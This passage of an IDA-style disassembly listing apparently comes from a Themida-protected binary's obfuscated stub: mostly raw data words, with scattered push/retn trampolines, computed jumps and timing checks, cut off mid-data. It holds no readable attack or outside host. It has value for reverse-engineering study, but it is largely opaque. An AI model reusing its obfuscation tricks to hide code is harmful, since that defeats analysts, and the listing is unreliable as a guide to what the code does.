3C8B0618h, 4C48324h, 172668h, 24248900h dd 4240481h, 5E000000h, 4EC81h, 3C890000h, 242C8124h, 0AE54AB1h dd 8108468Fh, 4AB10846h, 34FF0AE5h, 0C4815E24h, 4, 5F2434FFh dd 0E904C483h, 0FFFCD3B2h, 0E7CE8469h, 11F4F7F9h ; --------------------------------------------------------------------------- loc_5B44D8: ; CODE XREF: Themida_:005B3870j mov eax, 618AA29h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 46h, 0E5h, 6Ch dd 1C2E6516h, 26E7AF74h, 0FD1AFC04h, 267CA15h, 0C9DF887Ah dd 5D11C07Ah, 8F4FEB69h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh dd 0E45C5CD2h, 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh dd 1BCE17E6h, 0DB6734DFh, 9D0000A6h, 0BA9F0042h, 0DC80h dd 1B540000h, 0FEB4h, 0FBFE34h, 0B4870000h, 202352DDh dd 9E019ED9h, 0BAE97C80h, 89000013h, 1526D19Dh, 0B5BD8306h dd 6152Dh, 73850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0D6573DC3h, 0B8h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 14FCC170h, 1D958B2Fh, 0C2061515h, 6A0004h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 3175AAC3h dd 3860Fh, 8B660000h, 6AC08BC8h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8307C353h, 1508F5BDh dd 9750006h, 3ADBD83h, 74000615h, 8B535013h, 4D0B8C0h dd 9D8D0000h, 617A872h, 585BD3FFh, 3ADBD83h, 74000615h dd 0B8535011h, 4D0h, 0A7BF9D8Dh, 0D3FF0617h, 6A585Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0F5D53C3h, 0BE9C9B7h, 0D1000000h, 32374D21h, 0DD11F76Ch dd 0E860A7DEh, 0Eh, 77C18D2Bh, 0F8AA31FFh, 0D19653CCh dd 14E81FA1h, 0C9000000h, 3518A3Ch, 0ECB36F0Ah, 1D293DF0h dd 859ED0FCh, 5BBF5E03h, 68A0F5Fh, 8B000000h, 1510C995h dd 0C08B6106h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 2EC35747h, 0A62C7B09h, 8D69039Eh, 18AB1385h, 71B58906h dd 90061529h, 14E8h, 0A5ED5800h, 0C017FF6Dh, 2F2F05ADh dd 5F0D68A9h, 32EBDB5h, 8B665679h, 505A5FD0h, 13E8h, 42C43400h dd 0DE8A2365h, 7E18BB76h, 83D3C892h, 9CFB637Dh, 11E8h db 0 byte_5B4711 db 41h, 67h, 85h ; DATA XREF: Themida_:0057A868o dd 0BE197502h, 0D00E5D98h, 406011F0h, 61607D8Ah, 0F905F5Ah dd 1C84h, 10E800h, 0B94D0000h, 0C9122A4h, 9F163741h, 0A231677Dh dd 9589156Bh, 6150E39h, 0D195035Fh, 8D061528h, 18AAD085h dd 81666006h, 8BA4ADE7h, 150DB9BDh, 51506106h, 13E8h db 0 ; --------------------------------------------------------------------------- loc_5B4769: ; DATA XREF: Themida_:00579BB4o sbb [ecx], esi mov esp, 0CEB7629Dh xor [edx+62A14A4Dh], dh sar dword ptr [ebp-4Dh], cl cli mov bl, 9 pop edx pop edi mov [esp], eax mov [ebp+6150591h], ecx jmp loc_5B479E ; --------------------------------------------------------------------------- dd 10FABE6Bh, 625AF5F2h, 4594885Eh, 21B31208h ; --------------------------------------------------------------------------- lahf sahf loc_5B479E: ; CODE XREF: Themida_:005B4787j call dword ptr [ebp+6151101h] push 0 push esi call sub_5B47AF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B47AF proc near ; CODE XREF: Themida_:005B47A7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5B47AF endp ; --------------------------------------------------------------------------- mov al, 6Bh adc dword ptr ds:84B6A87Bh, 1 test ds:8B06152Bh, edx inc esp and al, 4 mov cx, dx mov [ebp+6150185h], edx mov [ebp+618AAFBh], eax push 0 push edi call sub_5B47EB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B47EB proc near ; CODE XREF: Themida_:005B47E3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5B47EB endp ; --------------------------------------------------------------------------- db 58h dd 0FB118D7Bh, 8BF3511Ah, 0F082444h, 482h, 63B96600h, 0F858984h dd 890618ABh, 152755BDh, 81BD8306h, 61504h, 131850Fh, 958B0000h dd 61511F9h, 9C585C6h, 6A470615h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0FD36C351h dd 0DCD4688Ah, 5DBD01E5h, 0F061510h, 1F8Ah, 13E800h, 0B4720000h dd 0CB5FE38Bh, 90C1BC55h, 0AE323942h, 0F70187B9h, 71BD8B8Ch dd 5F06151Ch, 4E8h, 9AA7D200h, 36BF66D4h, 448B50DEh, 52500424h dd 0BE8h, 1B4F3D00h, 0D4EAA441h, 257EB556h, 5FFA8B66h dd 8B66310Fh, 8B585AFAh, 50525000h, 0B9310F52h, 43A94611h dd 310F585Ah, 4489585Ah, 52500424h, 3D4DBF66h, 585A310Fh dd 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 0E27A39BAh, 0B5FFC88Ah, 6152811h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5BC35646h, 3EB516EDh dd 95297E4Dh, 6151799h, 8DFB8B66h, 1872BC85h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0D0FFC2E2h, 55C4F181h, 85893083h, 6150481h, 83FE8B66h dd 150E1DBDh, 850F0006h, 112h, 85C6D3B2h, 61509C5h, 3830F47h dd 66000000h, 4E8D38Bh, 0E2000000h, 0E98A0FB5h, 0Eh, 2E90FD54h dd 0C1FFC738h, 0BBFC0EF1h, 0B650D37Eh, 24448B9Ch, 701ABA04h dd 8B281Dh, 5E8h, 6EB1C800h, 0BF660327h, 895A571Fh, 50042444h dd 0FE952h, 0B5660000h, 4770F80Eh, 413F4D39h, 0F1EB9060h dd 0E9310FB0h, 0Dh, 2DA3C882h, 0C30CAB44h, 0EE3548DDh dd 58585A11h, 0E475EA81h, 0B5FF6BD2h, 6152811h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0C35545h, 12D6BA54h dd 11E8h, 0CD6A9C00h, 0FEC03223h, 0DF188258h, 85ED38A4h dd 0C580BE50h, 858D5A0Dh, 61872BCh, 29950960h, 66061508h dd 61D3CBBFh, 8BB5D0FFh, 0EC05B9BFh, 1D85893Ch, 6A06150Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 283CC350h, 0DE9h, 595D8500h, 4CC1E0AFh, 0D204B7B8h dd 0BD83510Dh, 6150651h, 0F1850F00h, 0E8000000h, 0Eh, 9E7A0DC5h dd 4C3C8B8Fh, 1A456A5h, 0C65A1476h, 1509C585h, 9D895606h dd 61504E5h, 2EEA7268h, 8112B6E6h, 874B2434h, 6A3231h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0EE99DC3h, 0E4000000h, 0E9AEE235h, 781020D2h, 1E974620h dd 0FF9AB20Ch, 152811B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0D55BEC4Ch dd 7FF73ADDh, 25950960h, 0E906152Ah, 0Fh, 153276B7h, 0A3D8AC74h dd 7B70FCBDh, 61CFABA5h, 72BC858Dh, 6A0618h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 8859DCC3h dd 0F140CD09h, 8E8h, 0B7ED6200h, 0ADC39C23h, 0ADBD33D6h dd 59061506h, 0B9CA8153h, 5A0360C0h, 8589D0FFh, 6150651h dd 9C585C6h, 6A6C0615h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0B324C355h, 0F1817B73h dd 4DE19A3Dh, 5E9h, 9FB2FA00h, 4E8B539h, 83000000h, 66DB0570h dd 508076BAh, 71BF5353h, 5A39D691h, 24448B5Fh, 50008B04h dd 0FCE8B52h, 0B8666031h, 5950C758h, 89585A61h, 0F042444h dd 0A86h, 5E900h, 72A70000h, 5862D283h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 0E6C35040h, 265A7117h dd 7E8h, 79165900h, 0B8117847h, 10E8h, 0EA812E00h, 0CEA08E4Fh dd 0B4F00D8Bh, 5BEBA2B1h, 5961605Ah, 85B5FF5Fh, 31061516h dd 150C298Dh, 38858D06h, 6A06153Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0A714C352h dd 175D23C6h, 0B589604Eh, 6152B3Dh, 1371B529h, 0FF610615h dd 65BD8BD0h, 89061506h, 18AAFF85h, 9E806h, 16BC0000h dd 4AF3D46h, 5A815A0Ah, 0AB1BBD83h, 0F000618h, 0EF85h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0A352A0A2h, 0DD6E473Fh, 0E78166C5h, 85C6A5F6h dd 61509C5h, 68FE8B49h, 4F67B029h, 12E9h, 18ACB400h, 0A44A8ED9h dd 7FD81845h, 17A52FDBh, 81889126h, 79C02404h, 0DA803CADh dd 85B5FFDAh, 6A061516h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0E489C355h, 0AF6FB615h dd 0ABE0F926h, 46D4BF66h, 0AE98D8Bh, 858D0615h, 6153B38h dd 48B0Fh, 0BF660000h, 0D0FF3828h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 80C35747h, 0BF329011h, 50AEEA81h dd 85893C6Fh, 618AB1Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 28C35545h, 441502E5h, 0FDAE0E53h, 12E8046Ah dd 0F6000000h, 88DF4CEEh, 969294DFh, 0DF1AA112h, 0A5E26236h dd 0FBB70F2Ch, 359E6859h, 6656BD2Fh, 5A3348B9h, 62240481h dd 6A42D0DAh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 2B46C356h, 152FD9BDh, 4E806h dd 0 dd 0B5530001h, 0B65059A0h, 24448B36h, 8BEE8A04h, 14E900h dd 91E00000h, 0EA9C7C22h, 0BBE0E91Ch, 37F2EAD2h, 9D4F4F91h dd 44892783h, 0BF660424h, 80586777h, 6A3DF6h, 33899589h dd 95FF0615h, 6151519h, 85295260h, 61517F1h, 0D2816659h dd 8961B1E5h, 18AB0B85h, 12E906h, 57780000h, 0A032C32Bh dd 6FD42942h, 27525CDDh, 79ADAC37h, 0C7D08B66h, 18AB0385h dd 6, 0C8E0F00h, 0F000000h, 684h, 5BD0900h, 6A06150Ah dd 5E900h, 6A7E0000h, 6801D5E7h, 6D892A57h, 95F9BA60h dd 50514A4Dh, 5A310F52h, 81615E58h, 2A572434h, 8D8B6D88h dd 6152445h, 0E279B990h, 56500296h, 8D8B905Ah, 6150C5Dh dd 8D030B6Ah, 6150719h, 0AAD8858Dh, 6A0618h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 2379AAC3h dd 7E9h, 0FE9B3800h, 72D65A81h, 0A5BE6090h, 66799196h dd 5061FA8Bh, 1CBE6060h, 0E809EFB1h, 0Fh, 73B021Bh, 3F83F5B5h dd 125BE367h, 5A1BD834h, 0DE861h, 0BB520000h, 93B53D64h dd 0E5095046h, 53EF4D69h, 90615A58h, 95FFCE8Ah, 6150481h dd 4B97D281h, 0FE95F23h, 0D0000000h, 0A71E008Ch, 0E34E49E0h dd 0DDCFF130h, 0B58D217Ch, 618AAE2h, 19118D29h, 66500615h dd 896D49BAh, 0BD892434h, 6150235h, 2850Fh, 86B20000h dd 8D0F5350h, 6, 840Fh, 895A0000h, 0FFF82404h, 150E1D95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 78D56CD8h, 0BFC2182Fh, 0EE9513Ah, 0E3000000h dd 529F4505h, 3554C198h, 59662652h, 0BD18BA2h, 2C850FC0h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0B7CCC356h, 0FAC59408h, 0FEB70FD5h dd 6CFE9h, 0FFFCF800h, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0ED18204Ah, 825DC465h dd 0D08B66ABh, 0AB0BB58Bh, 0E9600618h, 14h, 554E2349h dd 0A34FB501h, 50342A6Ah, 72DACB7h, 7B818107h, 68B0Fh dd 958B0000h, 6152781h, 20468D61h, 0BE5BD29h, 46A0615h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 7AC35545h dd 25559589h, 0E9900615h, 10h, 6FB2AA33h, 5673206Bh, 6D142ACAh dd 835ABC38h, 9E850h, 0DA9D0000h, 80222DA9h, 5FAC7527h dd 0FFCA8B90h, 18AB1B95h, 81666006h, 8B5431C7h, 152A858Dh dd 0C00B6106h, 82840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 96711BC3h, 8BD93A77h dd 15019DBDh, 8E906h, 20890000h, 99E28E21h, 0CDE93D3Fh dd 6A000005h, 3E85500h, 20000000h ; --------------------------------------------------------------------------- loc_5B5100: ; DATA XREF: Themida_:0057BF84o pop ebp retn ; --------------------------------------------------------------------------- pop ebp mov [esp+4], ebp add dword ptr [esp+4], 1Dh inc ebp push ebp retn ; --------------------------------------------------------------------------- dw 628Bh dd 5AC534E5h, 0FECEFD12h, 0DE9h, 0E9562000h, 9CDF80AAh dd 0D8818CFFh, 16BF34DEh, 0E97192A8h, 8, 4F9B87E3h, 5B4148A9h dd 207E80h, 57A840Fh, 8E80000h, 0D000000h, 723A1628h, 0FCABB38h dd 605AD7BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 5FC35242h, 71BDD6AFh, 0ADB52960h, 8D061511h, 6A2046h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0CDBBC1C3h, 99FE63EAh, 0D78166E3h, 85897EA4h, 618AB07h dd 3CDB589h, 0CFE90615h, 0E9000000h, 8, 0BB20E33Eh, 6FCC5412h dd 2731958Bh, 6A400615h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 607AC352h, 0C0E80D13h dd 0F6125D94h, 4DBD3352h, 5F061515h, 24048950h, 6AD3BF0Fh dd 50EE8A04h, 0EE9h, 7D8BDE00h, 5F9F683Bh, 55DA7197h, 89665275h dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0A78BD8C3h, 95FFAF87h, 618AB1Bh, 1D8D8529h dd 0D88B0615h, 856574B9h, 6A5859h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 583743C3h, 0A18D8995h dd 0B061507h, 0B840FDBh, 0E9000000h, 43Ch, 18AD958Bh, 38800615h dd 3B850F00h, 6AFFFFFFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 2CC9C356h, 38EF120Ch dd 8C0FBB8Eh, 6, 1DDD8D8Bh, 0D18B0615h, 2BE9h, 11E800h dd 0A7B80000h, 0B8CE4F2Ah, 3A6DEED9h, 2601F467h, 0FAF402Bh dd 4859CFB7h, 0A830Fh, 8B600000h, 800FD7h, 61000000h, 0AB07853Bh dd 820F0618h, 53h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0BDC35040h, 0F90E018h, 3880D2B7h, 28840F5Ch dd 0F000000h, 0E8Ch, 9D896000h, 61517E9h, 57D9D89h, 80610615h dd 850F2F38h, 0FFFFFF9Bh, 67E2D281h, 81661A6Ah, 4008F5E9h dd 0FBD83F9h, 618ABh, 17B840Fh, 0D6800000h, 4895078h, 0B5F68024h dd 3CFBF0Fh, 18AB0F85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 47808230h, 0D8590C89h dd 0DE986h, 0E0BF0000h, 13F5C531h, 0AB7A6870h, 50342B2Ah dd 0A0C0BA50h, 895A7E6Eh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0CE0DD1C3h, 0A3C49CEh dd 8B601402h, 1519698Dh, 38E48006h, 60046A61h, 0ED9D8Bh dd 95330615h, 6151539h, 0F38A9061h, 95099050h, 615072Dh dd 0AB1B95FFh, 958B0618h, 6152E2Dh, 9E9D88Bh, 0E6000000h dd 0DA6AB3EDh, 0A56B1210h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0FDB0BECh dd 5884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 82531856h, 25BE9h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0C71EA03Eh, 69D01DF5h, 5E942h, 8BBD0000h, 0F53568Ah dd 83h, 0C600h, 291BD33h, 6A580615h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0C1A2C350h dd 628EA13Eh, 1FD8D89h, 0DE80615h, 30000000h, 0FB420A7Ch dd 40F9C61Dh, 0F703AC6Dh, 489505Ah, 0CDB58924h, 6A061524h dd 0CC71B91Eh, 0D78B0672h, 82F4BF50h, 4893416h, 6890F24h dd 1000000h, 15251195h, 1B95FF06h, 0E90618ABh, 9, 1B797235h dd 800D1BDBh, 0D2816618h, 0D88B6B85h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 87C35545h, 0B9AF283Ch, 23568056h dd 152F818Dh, 10E95A06h, 0D8000000h, 0E0E4DE88h, 8A098FECh dd 9C3717FCh, 58358DD7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 6EC35242h, 0AC1BD89h, 0DB0B0615h, 5D840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0F0B3D3C3h, 2CDB529h, 95890615h, 61510C9h dd 107E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 958040B6h, 508F5D0Bh, 5E958h, 0B60C0000h dd 502E48D0h, 489C5B5h, 0FBB5FF24h, 6A0618AAh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0B1AFC355h, 923D1BABh, 0FFD78BC5h, 18AAFF95h, 8D8B6006h dd 6152281h, 7AD88166h, 0C00B6188h, 58850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0A553F1C3h, 0C88B6C33h, 55006A61h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0C7CA8B26h dd 18AB0385h, 106h, 0E917B100h, 3Ch, 2C658D8Bh, 66610615h dd 8126F6BFh, 11CC6h, 0E9D48A00h, 0FFFFF9ADh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 1FC35646h, 39654041h dd 4AF58013h, 4E8h, 800000h, 0F525000h, 86BA6631h, 50585A6Ah dd 424448Bh, 0B11BF66h, 8E8008Bh, 78000000h, 53C31A7Dh dd 6610909Fh, 5A34BBB9h, 4244489h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0AC58F826h dd 2B006A3Ch, 1517258Dh, 0BB5FF06h, 0E90618ABh, 0Dh, 0C2131F23h dd 513FDDB8h, 0C129A97Eh, 0FD95297Bh, 0FF061501h, 15065195h dd 0EE906h, 0F68B0000h, 1EC4107Ch, 3C1DE903h, 1324D99Eh dd 0AB03858Bh, 0BD8B0618h, 6153035h, 895F5250h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 2905BAC3h, 152D159Dh, 13858D06h, 8A0618ABh, 0EE8A50CEh dd 51240489h, 0FF7709BAh, 858D5F27h, 618AAD0h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B6C35141h, 0F926AF6Fh dd 50F8ABE0h, 0EE8h, 0FCEB6D00h, 2E8EB5E6h, 8D28BA4Eh dd 66D57650h, 5A3BC3BFh, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 5DBCC350h dd 26CD95FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0AA7D48C3h, 0BD09605Ch, 615300Dh dd 19658D8Bh, 1610615h, 1507099Dh, 81C08B06h, 0A25FD8F1h dd 0F5BD837Dh, 61508h, 0BD830975h, 61503ADh, 50137400h dd 0B8C08B53h, 4D0h, 0A8D99D8Dh, 0D3FF0617h, 0BD83585Bh dd 61503ADh, 50117400h, 4D0B853h, 9D8D0000h, 617A7D8h dd 585BD3FFh, 6AFAB70Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 269C357h, 0F5895F71h dd 0BD23C08Bh, 6152311h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 5A2E42EFh, 0AE92Dh, 28360000h dd 0E5F9E599h, 1DB34E19h, 6A0008C2h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 77BEC351h dd 91B58952h, 29061503h, 151DB5BDh, 0FC08B06h, 858DD3B7h dd 618AB2Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 32C35343h, 8922F180h, 15037585h, 75E906h, 66600000h dd 4A8D88Ch, 35840Fh, 16A0000h, 1685B5FFh, 858D0615h, 61872BCh dd 8589D0FFh, 61514EDh, 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah dd 1000Dh, 14ED95FFh, 32E90615h, 0C6000000h, 1509C585h dd 0DF685606h, 0FFA9C530h, 152811B5h, 0BC858D06h, 0FF061872h dd 198589D0h, 8D061530h, 151E7585h, 206A5006h, 0FF56056Ah dd 15301995h, 0C1C36106h, 39EB06E0h, 0AF0000h, 0AF02CCh dd 0AF02E4h, 0 dd 440B9CDDh, 75129093h, 21039803h, 4C089C42h, 4D02DBF7h dd 7528F521h, 212AB9E2h, 5129811Dh, 49329BCCh, 450790A6h dd 0E1ED956Ah, 2C6B4036h, 9CE5F38Fh, 2773FDB8h, 0A26F80A6h dd 346558EEh, 3812F5AFh, 0E1EDA684h, 21624CD2h, 0A4E37C35h dd 0AC60E089h, 36CC6BD0h, 7AB50AA0h, 8CDB760Bh, 2160E0AAh dd 7236E2A0h, 21624CD2h, 0A4E37C35h, 0AC60E089h, 36C178D0h dd 7AB50AA0h, 72669F0Bh, 2166F641h, 0E23DD5D4h, 53A7C31h dd 5227431h, 2166EF9Eh, 0E235B64Dh, 711BEB30h, 4B270395h dd 228EA7A9h, 166F5D4h, 0A83C3630h, 0A062D161h, 3D62D1DEh dd 6366F54Dh, 0A44E36F4h, 0D31ACDFEh, 97D4DDE0h, 4BA67E4Dh dd 228EA76Ah, 166F535h, 0A83C36C0h, 0A062D119h, 3D62D1E2h dd 6366F553h, 878336FBh, 0D63A0531h, 0E7C1E4EBh, 346F30B0h dd 9C4FA39Ch, 2773E8B0h, 743482Dh, 0A90EF346h, 9B8783C3h dd 139388C3h, 0FB42C1EBh, 2E1B2BE7h, 94990E25h, 2773DD5Ch dd 0EA7688Fh, 0A4EBF346h, 277E8715h, 0C935F5BEh, 2166F569h dd 7AA5AE15h, 2542A913h, 2542B1CCh, 2166F5BAh, 0CDA5A610h dd 98D64C98h, 5C8AFBB5h, 9CEF2595h, 2773C124h, 210CF1F0h dd 21651D1Fh, 7B46F5A6h, 75EFAF90h, 65E7F18Dh, 217EF1F0h dd 7324F56Ah, 0DEEB24F6h, 820E28EDh, 47E8DD20h, 25E7222Dh dd 0F6C4A877h, 216C1CD8h, 847F5D4h, 0C4876963h, 27A69FC4h dd 2166F172h, 2164194Dh, 0D02D4FA6h, 7136BF4Ah, 0C834A5FBh dd 2166F5C6h, 66B3508Fh, 463469B1h, 0B10B29C6h, 95055DB3h dd 1069FB5Ch, 1069A703h, 793CADF3h, 4DD9C4DBh, 7B1BB3AEh dd 5227E6Dh, 0A8667E9Eh, 0C862D109h, 2166F5B5h, 0C9483551h dd 2605DC42h, 2D0535F9h, 0F7F75971h, 79DD1B8Ah, 0C933F5F0h dd 2166F54Eh, 7CA5A886h, 254299DAh, 2542B128h, 2166F5C2h dd 16A5A02Fh, 210CE6ECh, 2B8F7811h, 0F199F358h, 0FDF602Dh dd 0A4EFF346h, 277E4A24h, 0D9ED3F5Fh, 2164396Fh, 0B0E37C35h dd 0A260ED25h, 0A4EFED8Dh, 277E4A33h, 0CDDF3560h, 0D266F5ABh dd 0E7ED957Eh, 2166FA83h, 52D73235h, 0D6B9548Bh, 0A0B03E47h dd 79C0BB64h, 70669F32h, 2166F641h, 0E23FD5D4h, 52A7C33h dd 5227431h, 2166EE9Eh, 0E237B44Dh, 0A5035886h, 7395D69h dd 51F489Ah, 0A4A0F3C1h, 2773FCAFh, 25EEFA76h, 4766F59Ah dd 0C82733F4h, 2166F5B5h, 0AF291FD2h, 2CED3B09h, 83D74124h dd 693CAE81h, 49DC3AEDh, 91B23B58h, 15E73DC6h, 92C36982h dd 0E8D37E7Fh, 0AA60E0A8h, 346FF469h, 30D30A6Ch, 0AA60E01Dh dd 34716C17h, 9DE3784Bh, 4B60EDD4h, 228EA053h, 166F5A9h dd 0A83B3689h, 0A062D106h, 3562D171h, 6466F59Ah, 47493618h dd 28002327h, 0AA0025ACh, 0D0E37C57h, 1060E0FEh, 347754E7h dd 216C1D33h db 9Ah, 0F5h word_5B5CDE dw 9968h ; DATA XREF: Themida_:00579FF8o dd 10BC60D4h, 0D2D66619h, 2166FCBAh, 210BB9A9h, 173F67BDh dd 0AC38E95Eh, 347708B0h, 71669F9Ch, 2166F6A5h, 0E23ED5A6h dd 5227C0Bh, 52274ADh, 2166E9D0h, 0E236B56Ah, 247BFD33h dd 9F0A7E45h, 0E8D37CB8h, 0A860E0A3h, 34408CD6h, 0C8D37EAFh dd 0E760E0F8h, 346F30EFh, 0AA06A633h, 54F37C60h, 4060E06Bh dd 175F5CCEh, 0A0947EE5h, 2E49D1ADh, 0AD69B3AFh, 2166F56Bh dd 94990CC0h, 2773DD8Bh, 0AC9C4242h, 39144923h, 71669F55h dd 2166F641h, 0E23ED5D4h, 5227C32h, 5227431h, 2166E19Eh dd 0E236B54Dh, 216A1C83h, 60B3F553h, 0CFB7D8F7h, 6D4241E1h dd 0D0E7B9E7h, 659D88Eh, 210C2565h, 21651D1Eh, 7A46F5A6h dd 7DEFAE90h, 65E7F18Dh, 217EF1F0h, 7225F56Ah, 2B6BA0F6h dd 0A0699453h, 2166F54Eh, 0A89142A9h, 3448D4D6h, 1CD37EAFh dd 0E760E0D0h, 346F30EFh, 1DD7A633h, 86CF4CF2h, 21631DF2h dd 0EF39F5A6h, 988A205Bh, 75EA8FC8h, 562748Ah, 3917EF90h dd 2166FDDCh, 1146C79Ah, 0E071DB9h, 30D30AADh, 2E60E07Bh dd 2166F322h, 0D8D3C6D4h, 0AC60E06Dh, 391449B0h, 15354C9Ch dd 0F199ED19h, 0C937F5CCh, 2166F550h, 78A5AC89h, 2542B95Dh dd 2542B1EBh, 2166F52Dh, 5AA5A4DBh, 221379DEh, 9E693D2Dh dd 0C0E37CA5h, 0A60E0B9h, 3477F069h, 0E4E3336Ch, 6660E03Ch dd 81F48B1h, 258EF358h, 8866F5A6h, 2ED12B8Eh, 2166F827h dd 0A96995D4h, 2166F56Ah, 2527088Ah, 0C93694AEh, 2166F559h dd 0E0B3D286h, 0D0A5B53Ch, 2750FED1h, 0CF28EF62h, 2644BFBEh dd 2166E4DDh, 0F546439Ah, 5271DD99h, 0A7376299h, 0F1EF164Eh dd 0AA00A70Ch, 0AA39AA05h, 0C962D12Eh, 2166F53Dh, 899CD304h dd 0C07FBB52h, 0AA38022Dh, 5227C53h, 216C1CADh, 0D506F5D4h dd 0FBDDDD32h, 3E65A152h, 72669FC2h, 2166F6A5h, 0E23DD5A6h dd 53A7C08h, 52274ADh, 2166E9D0h, 0E235B66Ah, 4CC45E87h dd 0D154069Ch, 0F5DF938Eh, 30D30A8Bh, 4B60E07Bh, 228EA6A9h dd 166F5D4h, 0A83D3631h, 0A062D169h, 3962D1DEh, 6266F54Dh dd 2C7836F5h, 415A2216h, 2166E440h, 2F59E1D4h, 3E2BEC88h dd 300866A8h, 0D1769DCCh, 0AA004E9Ch, 0ACED945Fh, 2773D8C2h dd 64621A28h, 0A4EB8BD7h, 277E87D6h, 0BD3481Ch, 94EDF38Fh dd 2773E3DCh, 210C2559h, 21651D00h, 7A46F5A9h, 7DEFAE17h dd 65E7F14Eh, 217EF111h, 7225F59Ah, 0A6D4878Eh, 0B4EF69D6h dd 2773D61Eh, 35337020h, 210CF3C1h, 21651D39h, 7A46F535h dd 7DEFAE59h, 65E7F169h, 217DF182h, 